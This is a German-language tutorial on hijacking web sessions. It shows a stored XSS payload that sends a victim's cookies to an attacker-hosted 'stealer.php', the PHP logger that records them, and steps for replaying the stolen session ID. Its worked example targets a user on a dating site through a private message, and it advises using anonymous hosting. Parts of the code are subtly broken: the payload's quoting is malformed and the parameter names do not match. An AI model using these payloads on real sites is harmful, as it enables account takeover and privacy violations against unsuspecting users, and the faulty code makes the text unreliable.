ich beziehe mich in diesem Tutorial auf Iron's XSS-Tut. Dementsprechend sollten die Basics also bekannt sein...
Was ist Session Hijacking
Wikipedia beschreibt diesen Begriff als "Entführung einer Kommunikationssitzung". Dieses Tutorial dreht sich selbstverständlich um Web-Sitzungen, also Cookies. Loggt sich ein User in seinem Account ein, wird eine Sitzung erstellt. Diese wird mit einer eindeutigen und einmaligen Sitzungs-ID in einem Cookie abgespeichert und authentifiziert den User damit als Inhaber des Accounts. Anders ausgedrückt: würde jemand diesen Sitzungs-Cookie klauen und selbst anwenden, hätte er Zugriff auf den Account des ursprünglichen Users. Er stiehlt damit die Sitzungs-ID und die Accountberechtigung.
Wann funktioniert Session Hijacking nicht
Wenn eine Seite nicht vuln für XSS ist, schaut's schlecht aus. Weiterhin funktioniert Session Hijacking bei Zertifizierungsverfahren nicht mehr, z.B. bei HTTPS mit einem digitalen Zertifikat.
Was wird benötigt?
- Website mit XSS-Vuln
- persitenter XSS-Angriff (Eintrag des Schadcodes in ein Gästebuch, Versendung via PN, ...)
- PHP-Logger auf Anon-Webspace
- FF Addon Greasemonkey mit dem Userscript "Cookie Injector"
Wie man sieht, steht dort "Wireshark Cookie Dump", denn Session Hijacking kann genauso beim Sniffen mit Wireshark betrieben werden. Wir beschränken uns allerdings auf das Stealen mittels einer XSS-Lücke. In die kleine Textbox kann die Sitzungs-ID eingetragen werden und mit Klick auf "OK", wird lokal ein neuer Cookie mit dieser Sitzungs-ID angelegt. Beim Aktualisieren der entsprechenden Seite wird dann der Sitzungs-Cookie erkannt und wir werden als der beklaute User eingeloggt!
XSS Payload
Wie gesagt, sollte der XSS Payload persistent, also dauerhaft, gespeichert werden. Dafür eignet sich besonders gut ein Gästebuch, wo viele Leute (und vor allem auch der Webmaster) drauf gehn. In Netzwerken/Foren/etc mit PN-Funktion kann man so die Sitzung eines speziellen Vics klauen, indem man eine Nachricht mit dem XSS Payload schreibt.
<script>document.write('<img src="stealer.php" alt="Text" />')</script>
Wir nutzen den uralten img-alt-Trick, um die XSS-Lücke auszunutzen. Mit Javascript schreiben wir einen HTML img-Tag und geben als Source unser PHP Stealer-Script an (natürlich auf einem anonymen Webhoster abgelegt, also vollständiger Pfad angeben!). Als Alternativ-Text (alt=) tragen wir unsere entsprechende Nachricht ein.
Dies folgt dazu, dass der HTML-Interpreter die Bildquelle als kein Bild erkennt (ist ja auch ne PHP) und stattdessen den Alternativ-Text ausgibt. Man kann auch mit PHP Bilder dynamisch erstellen, aber so geht's ja auch...
Zuerst solltet ihr testen, ob alt-Texte angezeigt werden. Schreibt besser außerhalb des Payloads noch etwas dazu, z.B.
Hi,
wie geht's dir?
<script>document.write('<img src="stealer.php" alt="LG" />')</script>
dann ist es egal, ob der alt-Text angezeigt wird oder nicht.
Cookie übermitteln
Natürlich müssen wir noch die Sitzungs-ID, also den Cookie, an unsere stealer.php senden.
src="stealer.php?cookie='+document.cookie'+" komplett: <script>document.write('<img src="stealer.php?cookie='+document.cookie'+" alt="LG" />')</script>
Wir schreiben also den Cookie mittels dem Javascript-Befehl document.cookie in eine GET-Parameter namens cookie
PHP Stealer-Script
Auf einem Webspace habt ihr euch anonym einen Acc angelegt und dort könnt ihr dann das Stealer-Script hochladen
<?php $cookie = @$_GET['img']; if (!empty($cookie)): $file = 'cookie_'.time().'.txt'; $ip = $_SERVER['REMOTE_ADDR']; $unix = date('d.m.Y, H:i', time()); $fp = fopen($file, 'a+'); fwrite($fp, $ip."\r\n".$unix."\r\n".$cookie); fclose($fp); endif; ?>
Achtung: Verzeichnis NICHT mit einem globalen htaccess-Schutz versehen. Sonst geht das in die Hose...!
So könnte das Script aussehen. Hierbei wird gleich noch IP-Adresse und Zugriffszeit gelogged. Selbstverständlich ist das Ganze ausbaufähig (bsp.weise auch Abspeichern in einer MySQL-Datenbank usw). Aber exemplarisch sollte es genügen!
Schön und gut, aber....was passiert jetzt genau?
Unser Vic hat sich bei ner Partnerbörse (auf der wir eine XSS-Vuln festgestellt haben) eingeloggt. Wir erstellen uns ebenfalls einen Account und treten mit dem Vic in Kontakt, indem wir eine private Nachricht schreiben:
Hi SexyGirl88,
nettes Foto!
<script>document.write('<img src="stealer.php?cookie='+document.cookie'+" alt="LG" />')</script>
SexyGirl88 öffnet die Nachricht und das Javascript wird ausgeführt. Per document.write wird der HTML-Tag geschrieben und auch ausgeführt. Wie oben bereits erläutert, versucht der HTML-Interpreter die Grafik zu laden. Da es sich bei unserem Source-Attribut aber um keine Grafik handelt, wird stattdessen der Alternativ-Text (alt=) ausgegeben. Bei der Anfrage an das Script wird über den GET-Parameter cookie der lokale Sitzungs-Cookie von dem Vic SexyGirl88 übergeben.
Das Stealer-Script liest den Parameter aus und schreibt, wenn er nicht leer ist, den Cookie in eine Textdatei mit Zeitstempel (in o.g. Script wird wie gesagt die IP-Adresse und Uhrzeit auch noch gelogged). Wird können dann auf die erstellte txt zugreifen und uns die Sitzungs-ID rauskopieren. Die könnte z.B. so aussehen:
PHPSESSID=f91b9176735c054e0ff8f7f9ddd6fe11; thwb_cookie=f379eaf3c831b04de153469d1bec345e129671; ss_user_data=129671&f379eaf3c831b04de153469d1bec345e&1689; bb_lastvisit=1398742989; bb_lastactivity=0; __utma=50522539.2117846155.1395666907.1400958139.1401032908.120; __utmb=50522539.1.10.1401032908; __utmc=50522539; __utmz=50522539.1395666907.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Wichtig ist nun, dass wir die entsprechende Seite geöffnet haben! Dort dann mit der Tastenkombination Alt+C den Cookie Injector aufrufen und dort die Sitzungs-ID reinkopieren. "OK" klicken und Seite aktualisieren: fertig!
Wir sind nun als SexyGirl88 eingeloggt
Kleiner Hinweis: manchmal funktioniert das nicht immer 100%ig zuverlässig. Das liegt daran, dass die Sitzung abgelaufen ist oder sonst irgendwas. 8/10 hijacked Cookies sollten aber gehen!
Wer das Ganze mal bei sich selbst ausprobieren will, kann die Javascript-Umgebung von Firefox benutzen. Ansonsten unterstützen die meisten Browser die Direkteingaben von Javascript in die Adresszeile
Über eine alert-Meldung können wir somit unseren eigenen entsprechenden Sitzungs-Cookie (wenn vorhanden) auslesen.
Wer das Ganze ausprobieren möchte und auf die Schnelle keine Vuln-Page hat, kann hier hin